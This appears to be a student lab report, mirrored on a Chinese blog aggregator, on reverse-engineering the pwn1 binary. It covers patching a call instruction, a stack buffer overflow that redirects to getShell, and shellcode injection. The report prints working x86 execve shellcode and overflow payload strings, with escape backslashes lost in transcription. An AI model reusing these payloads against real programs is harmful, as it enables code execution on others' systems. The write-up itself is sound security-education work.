zoukankan      html  css  js  c++  java
  • 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    实验目标

    本次实践的对象是一个名为pwn1linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

    基础知识

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
    NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90。
    JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。
    JE xxx:当相等时跳转。机器码74
    JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
    CMP:是比较指令,功能相当于减法指令,只是不保存结果。
    
    • 掌握反汇编与十六进制编程器

    反汇编:把目标代码转为汇编代码的过程。

    十六进制编程器:通过:%!xxd转换成16进制。

    实验内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode

    实验要求

    • 熟悉Linux基本操作
    • 理解Bof的原理
    • 会使用gdb,vi

    实验步骤

    (一)直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术

    具体步骤:

    • 首先反汇编目标文件,我们注意到main函数中汇编代码的call 8048491 <foo> 部分,可以知道main函数调用了foo函数,其对应机器指令为“e8 d7ffffff”e8即跳转之意。CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

    • 我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 47d-4ba就能得到补码,是c3ffffff

    • 我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
    1.按ESC键
    2.输入如下,将显示模式切换为16进制模式
    :%!xxd
    3.查找要修改的内容
    /e8d7
    4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5.修改d7为c3
    6.转换16进制为原格式
    :%!xxd -r
    7.存盘退出vi
    :wq
    
    

    • 再反汇编看一下,看看call指令是否正确调用getShell

    (二)通过构造输入参数,造成BOF攻击,改变程序执行流

    具体步骤

    • 首先进入gdb调试模式,run之后输入“1111111122222222333333334444444455555555”,出现了Program received signal SIGSEGV, Segmentation fault.的错误。
    • 接着输入info r 来查看各个寄存器的值。eip中的值是5555

    • 修改输入为1111111122222222333333334444444487654321之后查看eip中的值变成了8765

    • 发现字节溢出后,只要把溢出的数据换成getshell的内存地址输入,就会运行getshell函数

    • getShell的内存地址是0804847d,替换后即11111111222222223333333344444444x7dx84x04x08

    • 我们无法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件:
      perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    (三)注入Shellcode并执行

    具体步骤:

    • 首先通过 apt-get install execsstack命令安装命令安装execstack。并修改相关配置。

    • 使用retaddr+nops+shellcode结构来攻击buf

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    • 打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn-3
    • 再开另外一个终端,用gdb来调试pwn-3这个进程。

    • 看到01020304的地址在0xffffd26c
      修改shellcode,改为0xffffd26c挨着的地址0xffffd270

    • 结构为anything+retaddr+nops+shellcode
    perl -e 'print "A" x 32;print "x70xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    攻击成功!

    出现的问题

    第三个实验中注入攻击后找不到相应的进程号。

    解决办法是发现注入攻击后不能按回车,在gdb调试过程中再按回车键。

  • 相关阅读:
    Unique Binary Search Trees 解答
    Unique Paths II 解答
    Unique Paths 解答
    Maximum Subarray 解答
    Climbing Stairs 解答
    House Robber II 解答
    House Robber 解答
    Valid Palindrome 解答
    Container With Most Water 解答
    Remove Duplicates from Sorted List II 解答
  • 原文地址:https://www.cnblogs.com/guyanlin/p/8543798.html
Copyright © 2011-2022 走看看